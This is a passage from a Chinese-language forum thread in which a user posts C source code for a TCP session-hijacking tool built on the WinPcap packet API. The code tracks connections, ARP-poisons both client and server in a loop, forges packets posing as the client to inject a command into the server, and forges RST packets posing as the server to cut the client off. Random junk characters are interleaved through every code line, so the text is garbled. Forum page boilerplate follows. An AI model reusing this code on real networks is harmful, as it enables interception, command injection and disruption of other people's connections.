            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
; a( Z* X2 ^7 p{ + k' i$ b; y; Y
  PCONNINFO  pNew, pTmp;
) G4 C- t4 Y) X" s) b8 v$ g# _
* e3 j8 s7 H4 C, x9 C, C7 [& n  pTmp = g_pConnHead; , W$ ^$ _' |0 n
  while(pTmp)
% _6 {; {* B. o; Y1 @  {
0 j7 A) j1 P4 h5 T( f    if(pTmp-&gt;bActive)
  P1 C2 Y  P" m9 L    {
1 \; y1 X/ p& ^* `7 h1 s9 b( ~      //found it : M0 E# {+ ]- t
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
7 K( S" o; g$ v: H* Y4 q        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; - j7 ~) g# W# f8 d: M" u
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; 6 g3 S5 l- L* r4 v
        (pTmp-&gt;uClientPort == uClientPort) ) ! x' t9 K+ ^8 a& f* I
      { * W- O/ I& ^2 k6 ~; e, X" w: |5 q
        if(bDelete)
1 t; Q" m2 E$ Z2 L* v6 i        {
. J' i  ^# |$ `, L          pTmp-&gt;bActive = FALSE; 8 E+ `! Q0 C4 [% m3 U" ?" e8 {1 X2 v
          return 0; % s& H$ n% J8 u# u' q+ [
        }
7 M/ N/ a8 U3 Z% K: L$ T        else return pTmp-&gt;ident; ' o5 k5 @8 Y: t
      }
, B- ~0 K6 D  N" \" x    } 1 l" F. }! r/ b! S. }3 `3 D) p
    pTmp = pTmp-&gt;Next; 6 o" I% ^1 E, l2 ^: A
  }
: d) g; ~9 h" Z  //not found, create new node
- x6 g% q! m6 K7 ?4 I4 D0 \  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
$ C8 m0 g. s: s6 B4 O  {
4 F3 R- I8 q) o* C    //search unactive note
# p9 A- p& \# M  v    pTmp = g_pConnHead;
" G, N. g; l5 G+ O% w' d( s* R    while(pTmp)
, F" P: X; {) c( r1 ?    { # X5 \+ ?- E# f  d/ J
      if(!pTmp-&gt;bActive) break;
# ?0 D1 P9 ^6 J' D& u      pTmp = pTmp-&gt;Next; % E7 R! w2 s& a, S+ r) |& Z
    } 0 L. t" v5 G- \
    //found a unactive node ( D& x  Z( v* O3 ]8 |* k, W( S
    if(pTmp) 6 @: W8 r% @* z& B1 Q
    { 4 O: K. j8 }0 X7 @
      pTmp-&gt;dwServerIP = dwServerIP; ) q. E4 C5 H) Y) v& t
      pTmp-&gt;uServerPort = uServerPort; ( l4 I6 J1 e& @9 `3 g
      pTmp-&gt;dwClientIP = dwClientIP;
7 u0 o6 s9 }) o* `      pTmp-&gt;uClientPort = uClientPort; 1 k3 M- C  |5 j$ q9 [
      pTmp-&gt;bActive = TRUE;
: b$ w5 O4 T' a: c      return pTmp-&gt;ident;
/ B/ `5 V+ N8 B    }
# Y1 E( b) v# x3 X9 {. E    //not found,create new node
" W6 c) Z/ I% F; _- r3 k. c3 E    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); ! `) R" q% u& a0 k
    if(!pNew)
3 q/ i1 Q* j& ~* c/ a" K    {
2 y/ ~# Z- @8 ~$ E3 R& p2 z: z      printf("malloc for link node error:%d\n", GetLastError());
/ R- R2 T# W  X0 G( a% }8 ~  d      return 0;
$ E2 J; T2 E- J$ n% v2 I    }
0 U, e0 _% K0 b    //fill the struct ! ^" p( `8 T4 t* q, c. a
    pNew-&gt;bActive = TRUE; ; p. N) m- H2 ^6 Y9 h' m
    pNew-&gt;dwServerIP = dwServerIP;
; n; ]6 `/ G  i; X: s6 M$ R    pNew-&gt;uServerPort = uServerPort; ! d# U% y; Y! b. W
    pNew-&gt;dwClientIP = dwClientIP;
9 }3 x( R* x+ E    pNew-&gt;uClientPort = uClientPort; / @8 J1 K8 S. z! [9 R! m  q
    pNew-&gt;ident = ++g_ident;
' D7 w, U, R% \0 Y) e9 S    pNew-&gt;Next = NULL;
- m& ~+ y6 N; k" A2 e0 C8 \4 S' j    //add new node to link 3 j8 W7 v; o" z1 l
    if(!g_pConnHead)
" k( o% n+ Z# {* H1 I! V      g_pConnHead = g_pConnLast = pNew;
' B) v% _$ N  _; o  a4 e    else , d! m  M, o: G, W4 r
    { 6 s% F$ |& l+ u: _2 H0 a: D+ t' a3 m
      g_pConnLast-&gt;Next = pNew; & Y8 t- N! ]$ a' ^$ [  z
      g_pConnLast = pNew;
$ H1 o4 G& B1 G    } ; [" C+ Z0 v9 z7 G, G1 N; w
    return pNew-&gt;ident; 1 y6 l) R: ]7 |, U# G# g, Z0 r
  } % Q* J% z& u+ h" Y# ]7 ~5 g
  return 0;
/ J' C7 i- W: \9 u% V! X} 1 ]4 {5 l% U) }

; \) c/ `' N) p//
9 V# @; Y5 J3 [: P4 G% e  R( S( b0 o//功能:判断一个数据包是不是只有ACK标志
# W% o( C: p  p( e! D//
5 f4 a/ H- y- {% i% o3 E2 iBOOL IsACKPacket(unsigned char flag) ) t5 d% h% K+ t9 i1 T
{ 6 K! Y: h) P: S, L0 A" ~  m( ?" f1 ]
  int  i, j=1;
/ j1 Q* R: @- C4 S0 U: l  J  for(i=0 ; i&lt;4; i++) 3 h: ?! j3 y5 h4 J, }
  {
+ Q; S- B4 \% L4 ]4 j7 o    if(flag &amp; j) return FALSE; ' ]' d2 g+ {& t' m* K( `
    j &lt;&lt;= 1; 1 T9 b5 d  w9 B( W+ a& G
  } ( D4 p6 S1 G7 K. c7 m' \
  if(!(flag &amp; 0x10)) return FALSE;//is ack? 9 X2 s! }% L9 h
  if(flag &amp; 0x20) return FALSE; / O# \+ g, c4 g: @7 Y
  return TRUE;
) A8 b3 D$ f$ ?) C}
  W3 o" }1 e1 U7 y4 F9 B0 o+ d& X0 R- V" q1 T4 {/ t/ ~1 @
//
5 j# J! g2 q. {1 `//功能:伪装成Client给Server发送数据包
# Y+ ~# a8 s- P5 |// ) C1 n1 |6 O+ P8 b
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 3 z1 g0 ~0 z& T' _+ S4 f
{   Q; a) H* w7 J: g) L

5 l5 X3 `( {& ]- O  char    szBuff[1520]; 8 I) a& b5 c4 g
  PSDHDR    psdhdr;
; \7 S& e; E1 `: t- I, b9 c* Y  PTCPPACKET  pHiJackPacket = NULL; ; R4 A, ?9 D% V# i1 R: ~
  BOOL    bRet = FALSE; : K& C7 a% Q( T# t/ ?3 U  ^8 M+ D
+ R: F; ?) d2 @, a) _& \
  __try & h; O4 K$ e( I; j
  {
) I+ l6 Y6 l; V, N" e3 v    //
8 C% K* ?3 V: c7 S    if(!g_pCurrCtrlConn) __leave;
8 \% V! C) C2 ~9 W( {+ P8 v: S    //allocate memory for hijack packet 9 ~8 E8 g( Y3 A  W! y  P
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); + A$ C7 A: t. J1 X5 B0 n
    if(!pHiJackPacket)
# \6 u& H: {& i1 c    {
5 M; T, d: v+ }8 k      printf("malloc error:%d\n", GetLastError());
. @& O) h( _; D3 |      __leave;
# V. H: o, Y4 @# i- L    } 7 _8 F7 G/ A5 C' n4 M% Y1 g0 a
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
6 p; L1 @  D. n5 z4 o* \( F    //-------------- modify the packet ---------------// 1 Q4 N; Y/ }, `& Q7 [1 k
    //modify ethernet head
, n, l6 P5 C. q3 G1 b+ B    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); 1 Q+ X: ^3 K0 K# g! _- b5 A  |
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); % R* p  f, b! y0 N9 y7 v
    //modify ip head
7 s8 t& i, `5 Y2 W4 V    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); ( ]9 C4 L1 U* R8 ]! m" e* d
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); . h6 @+ P5 `5 z) b
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1 / U3 R( Y! L% E) a
    pHiJackPacket-&gt;iphdr.checksum = 0; $ Z" N5 i* G: P/ X' ~( U
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
0 e# c) Y6 k% |3 F9 U    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
6 v! z% t7 ~3 d; I2 ?+ q8 P0 s: q    //modify tcp head 6 a7 R  |5 {' g$ J' S* E7 y" {
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
# v% M; o2 u/ P: e1 n/ {! N. m    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
7 v* f! B# ~" v( T5 z* |$ k    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); ' }' X2 l8 C" x! |& d# j
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA / k$ L8 V1 L" M8 s
    pHiJackPacket-&gt;tcphdr.th_sum = 0; 2 P4 L* c! c4 ]; `' P, f9 z
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
- P) |9 j' V5 v. J) y3 L, q( o    //fill tcp psd head ! V# @  c$ G6 D
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
' o) j9 b  V9 ^7 M0 L' o    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
# E2 @+ A2 u3 L7 q    psdhdr.mbz = 0;
6 z/ ~4 L2 q9 o# o1 B    psdhdr.ptcl = IPPROTO_TCP;
5 L) H: k& {4 H0 h    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len 0 w. t8 m' n$ [/ S' p
    //calculate tcp checksum     
8 S/ Z* ?$ Z4 i    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
. J! z1 b6 E  L/ j' f* D  V    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); " I* v+ y: |6 R5 i  l3 @, }
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
$ C8 T$ _9 n9 q2 r, D    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
( v, y- i7 S# v3 X  e/ Q    //calculate IP checksum # J0 \- }/ G' j: n& u  ^
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
# V7 z& D' A  L/ r1 g    //fill send buffer           + W7 C; r  u5 g9 {
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
  {% v$ I& K' h- r. [" \    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
6 w* E  V/ [$ f* Q8 O/ e    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); ) i0 Z" C5 O7 V) r$ s; m, v- m
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);   w5 l4 J; k% v/ h4 n
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 6 r; f, ]. S0 s7 B5 W" N% V  K+ ]
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: U3 {) a8 W+ x& Y1 Q. u    {
0 X9 c1 s1 k% x/ D( I. c      printf("Error sending the hijack packets!\n");
  l9 o2 x5 d5 B: e# w, F# A4 D: H      __leave;
) X8 T5 c; ]& i    }
7 B: `( L, C$ t- P7 G6 m    else printf("Send hijack packet ok!\n"); 8 A$ ^; Y) R7 v5 _; S+ e
    bRet = TRUE; % E: M& n3 M% u3 E- K9 {" E6 d
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally ! P1 h6 u1 r/ W+ T: C: A% I
  { 4 P+ I. ?% E6 e& D  ]
    if(pHiJackPacket) free(pHiJackPacket);
! E9 {! i1 [% k% m9 H  }
" a- \2 I* W) R, l8 Q4 ]& {  return bRet; ; }) K( i  o& y
} ! O+ l( F1 A9 w4 l' ?6 ?
' ]# Z- W2 J# l% w7 {& q: n
1 ^+ t- m+ u( S! o/ f
// + }! N8 P. \- @6 @* w
//功能:伪装成Server给Client发送rst包
+ u# G) r# T8 l1 s$ G0 t, w, w//
/ `2 @) z6 \9 iBOOL SendRstPacket(unsigned int seq, unsigned int ack) 8 ~+ u! u! f( p% c! @
{
  T2 D; S9 ^0 \5 x7 n4 T% N8 _  char    szBuff[60];
0 ^+ ^2 Y- x* }6 {. z  PSDHDR    psdhdr; 2 I& P+ [4 _" E2 W
  PTCPPACKET  pTcpPacket = NULL;
) I5 D1 T: z3 P0 ^  P& b: r  BOOL    bRet = FALSE; + Q6 C8 o' Z5 P3 m# C6 \% n3 l
( P0 T$ |) I: o& e3 a
  __try 5 J: t4 u; w4 t( v& X4 |* X6 F
  { ( v% M  L$ Y# M
    //检查当前指向想控制的连接的信息的指针是否为空
/ D4 J& }5 {' P3 Z. s" W& a    if(!g_pCurrCtrlConn) __leave;
! Q) B+ N* d: ~# L* U* O! H    //allocate memory for rst packet : X8 ^: f. |4 c; j2 {2 J
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 9 }' i: {9 \; t% c6 R! c
    if(!pTcpPacket)
  B# Z: w# W8 T* O5 @; D2 K4 s    {   h9 r* e5 J4 E
      printf("malloc error:%d\n", GetLastError()); / h+ |. W' [: R; R
      __leave;
6 ?! X0 v; a: F& W7 u. W& l% y9 V5 `. S5 L    } $ \; }& T* B( j( V
    //fill ethernet head 0 L# I8 Y9 A3 P8 [, r# p2 N) u
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); 9 V' h' |8 O7 C: Z& q4 \
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
+ R* w7 g" Y4 I$ _. k4 p    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
* u6 @: ^: L6 r/ Y8 m) s1 @# g    //fil ip head
2 _! q0 O5 H1 F& l- x    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); " J# [  R( }7 o% ^9 Q* m
    pTcpPacket-&gt;iphdr.tos = 0;
- {& @" J  r. z* R    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
8 }2 _% @) A0 T$ z& d    pTcpPacket-&gt;iphdr.ident = 1; 2 w- _* f' \- |2 j, h
    pTcpPacket-&gt;iphdr.frag_and_flags = 0; - ]3 }* j, T/ P4 i( g3 [- p+ _
    pTcpPacket-&gt;iphdr.ttl = 128; - v# u) T. {  o" D+ k: h* n+ ~9 h
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
5 T: O1 ?1 e* K  B  O0 E/ J! a    pTcpPacket-&gt;iphdr.checksum = 0;
5 y4 q( y: @" u: `/ N    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 ' X% }6 U; B% G6 p- A/ N
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
8 [6 m' p4 w/ u    //fill tcp head 6 o! E* V- B) g# ]  i1 N
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
0 {' [  G6 Y' A7 I3 h. w0 ?    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 , W3 Y0 e% K1 D5 m) _' l# G
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN 5 Y7 P. Q  z# A$ I
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK , w8 _9 ?' y( k! d* K- t
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); ; Z' v- Z) ]! A& ~# w
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
  k: ^& L5 Y6 e9 T$ }6 s7 D' x/ t    pTcpPacket-&gt;tcphdr.th_win = 0; 5 w6 k: T$ W; W1 q
    pTcpPacket-&gt;tcphdr.th_urp = 0; " l  _6 H. Z* R, u9 c
    pTcpPacket-&gt;tcphdr.th_sum = 0;
7 q: f* S; Y- _% f    //fill tcp psd head
9 C8 z9 Z( B8 w- y    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           4 h4 \$ G) x2 H) E' e' p+ z
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           : ^- T2 F/ R; ?
    psdhdr.mbz = 0;
0 |" i; i* \1 ?9 |$ k8 M4 D    psdhdr.ptcl = IPPROTO_TCP; ' e) G( M. y: ~/ U7 I' E
    psdhdr.tcpl = htons(sizeof(TCPHDR));
2 b# U1 j4 W% U( f: A    //calculate tcp checksum     " k# X1 h  E( c3 k( ~8 c
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   $ D& `" `0 i( Q& }. M0 E
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
4 M" t# d- w- l    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); , a. G( [- |! x# `; l
    //calculate IP checksum
- d6 D% X% k; R$ X* h% v! E' b    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); ! K) G. f8 g9 B
    //fill send buffer
$ h% f+ X+ _& P* Y1 W, L7 m    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); , S. c( \9 x* j# X
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 8 c7 I  {$ T8 i
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
. Q8 K+ A& `" E2 l6 g' j  U    {
# [, b4 k* c$ X! ^( Y! p) G      printf("Error sending the rst packets!\n");
: |8 o* F& ^1 _, _: Q      __leave;
8 y7 U- k. w. Z# m: Q    } + x8 S& r4 _. W: h3 N: S9 U( B
    else printf("Send RST packet ok!\n");
7 K0 Z* k) v8 \2 g' y1 e    bRet = TRUE; . N2 z6 y4 N" \1 A- K% b8 Q
  }
! z& W" O' [0 B, r* `( H  __finally
1 s0 V7 C6 @* ~$ ?- B3 q  { 5 Z' ^" R. ?+ H' n) ?
    if(pTcpPacket) free(pTcpPacket);
; \2 f' r/ y+ d3 Z# L+ [% d  }
3 c' {. q7 c' g% q) Q3 |  return bRet; - i2 `" Y! v- d. R$ _( b) M3 \+ ]
}
9 I3 r  d$ \: ^/ Q7 u7 b
# y- [" O' Y$ i! l// . e% U7 L% E, u6 D# P6 r2 `/ Z! _: ]
//功能:计算校验和 0 o' D3 U) R4 {' j# Y) R8 r2 S3 V
// 8 }' S4 B% ~5 _) k9 z3 p2 R
USHORT checksum(USHORT *buffer, int size) 4 [/ C8 y/ J: f2 G. x
{ 7 i; D3 r& |! I4 [: ?% i
unsigned long cksum=0; $ P8 ^' J/ ^) V' c# R" t& b6 l6 |
while(size &gt;1) {
# W+ t  _. ?' n" u/ l  cksum+=*buffer++; ; d8 h" v+ [% s- _8 _6 R
  size -=sizeof(USHORT);
: Y5 D0 U* W$ B' q/ \, B } : |4 u2 J% a* ^5 n  `; d: C( e- S
if(size ) {
9 s7 x* W% V( w0 n) t5 T  cksum += *(UCHAR*)buffer; % G% G5 Z* C3 s
}
( M1 k' l0 Z* E  |6 ]( f5 k cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); 2 S) ~9 w- L" K+ S
cksum += (cksum &gt;&gt;16); 4 a, k. D' p! o: F
return (USHORT)(~cksum);
; b3 @9 ^& j& E* r}
& ]! ^4 O( k. C* j% p1 x, I8 N: q) j. l7 U5 p1 N$ D
//
3 p; S! H1 ~7 F//功能:实施ARP欺骗
+ ~+ S3 o: K# h//1 告诉ServerSide,ClientSide的mac是ownmac
3 ~$ P/ V8 D& k5 d# j' E//2 告诉ClientSide,ServerSide的mac是ownmac ) c( `5 |3 l: B! j5 P, s
//
- z3 x1 Y  X2 a1 v% L+ A- ADWORD WINAPI ArpSpoofThread(LPVOID lpType) ' ~! d6 P+ y# i8 M7 j; A- ^
{
& _: H9 Z& \2 k  int  iType = *(int *)lpType;
" a8 S8 E  Q* [* c  ARPPACKET  ArpPacket; ) l  R; g& x3 |) _8 K
  LPPACKET  lpArpPacket; ' R, z* a, |$ k5 K
  char    szArpBuff[60]; % [$ _4 U. u6 M+ T3 s4 W; i

6 B: W4 W) F/ \- r+ }  switch(iType) 2 F3 h- d% S: A% _( e; D2 l# s, ~
  { - O2 ^! ~7 v, m1 g1 [
    case 1:
) B1 t+ o) _6 P. ^      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
7 F$ O5 f. b; ?2 \      ArpPacket.arphdr.DestIP = g_ServerSideIP; ( W6 a" @) }1 G: v" O4 {2 _  E0 l2 h
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
( v: B2 b$ Q7 D      break;
9 U$ S6 W# v+ y" x    case 2: , H$ i* N- `5 v
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); 7 u8 z' J0 F8 I. I* ~
      ArpPacket.arphdr.DestIP = g_ClientSideIP; 7 i( V/ e9 A9 n5 v
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
$ H. g# L: W; n/ r6 w: T& J, J      break;
% _, ?0 Z4 A, v- w  L, P% [1 }    default: / q; q6 k* x- W
      return 0; $ E: e, F' }* x0 c% Q' [; f
  } $ }, c4 G3 o9 P" Q, z
  //ethernet head 8 Q' j, A$ m2 P
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
5 ^9 F: S, w- f# Z& w  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type & G% S* q# E2 P3 G- z
  //arp head
9 B5 f$ H% J' Z& L) m  Q  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac ' D5 Z% d5 y* b0 {  G! s9 Y% L" M
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
/ l# p3 m+ {) X% y6 k  ArpPacket.arphdr.HrdAddrlen = 6; * }# ?& e0 |1 D; X  Z
  ArpPacket.arphdr.ProAddrLen = 4; 0 Y6 b% G8 d4 L, T7 U; d
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) [" y/ |$ A% X3 h! Z2 v  A+ i  ArpPacket.arphdr.ProType = htons(EPT_IP);
. y" K* b: ?; P3 ]& V* @  ArpPacket.arphdr.op = htons(2);//arp reply
" q% v# J' W; G9 w0 d
5 j5 x$ h/ `$ ^) Q: B7 k( B: y  lpArpPacket = PacketAllocatePacket(); 0 }0 A# R' o1 u- j: I- w2 _$ @
  if(lpArpPacket == NULL) 6 s. e5 x4 D' x/ B
  {
8 s$ C  B& F& d1 v! p    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); 3 u2 `6 {: m% P' H% B; ^; r) H7 R! W' W
    return 0; & v* d9 S) ]% C) K* p+ }
  } 5 X9 R5 x+ c0 _$ S
  memset(szArpBuff, 0, sizeof(szArpBuff));
  U( [* W4 D% F6 L  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
! u& y* {- k- O2 `  j# j  PacketInitPacket(lpArpPacket, szArpBuff, 60);
6 q$ A; K4 K, A& R# D5 k4 F( l( g  //send arp packet
8 p/ {4 A/ R9 c/ i7 a5 O  while(1)
% w4 f. t  `2 K) d, E  {
( Q3 ?" n  ?6 r0 @    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
, ?/ O" ]( E; g    {
9 c3 o  L! d9 o; a$ m" R      printf("Error sending the arp spoof packets!\n");   d" g2 n; q2 r  o7 ^6 K
      return 0; ) c) U! g' {$ W6 B
    }
1 K) ?+ g! V5 T+ Z% F    Sleep(1000);
8 _. c* |1 e/ U- D: X  } 9 c3 [. p! a, ^5 d) i' h
  return 0; & b' U- X0 ]& d" Y+ l
}
- d# s- r6 _; i/ d  H/ P4 F# J* h5 ^: ^9 ^* y/ g2 d) p
// / i) v, q5 E2 L; `# ^) ^, K
//功能:输入IP取得对应的MAC地址 5 A; ~6 X7 S1 v0 n* R) L
//
3 }# w' ]# ^1 E% \* IBOOL GetMACAddr(DWORD DestIP, char *pMAC)
& @( p+ a0 V) p7 _& K: w3 U{ 9 x4 X; l. L  S/ b
  DWORD  dwRet;
+ j/ y2 t3 B# ?  j1 s  ULONG  ulLen = 6, pulMac[2]; # a( p8 x5 q/ v$ Q
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); . f4 i' K0 a( g. g
  if(dwRet == NO_ERROR)
" W8 W1 i& Z9 _- @5 I  { 6 A" Y+ m: e# g8 ^8 f, A8 S
    memcpy(pMAC, pulMac, 6);
& ^  a! e( V* B% G: y2 W* s: }- K    return TRUE;
5 C7 E2 s  @) F  g8 |# K" o0 r( X  } + B; O: O) d4 p$ B; @
  else return FALSE; 9 ^7 e8 d# \6 M( }5 W
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-11 00:05 , Processed in 0.527031 second(s), 90 queries .

    回顶部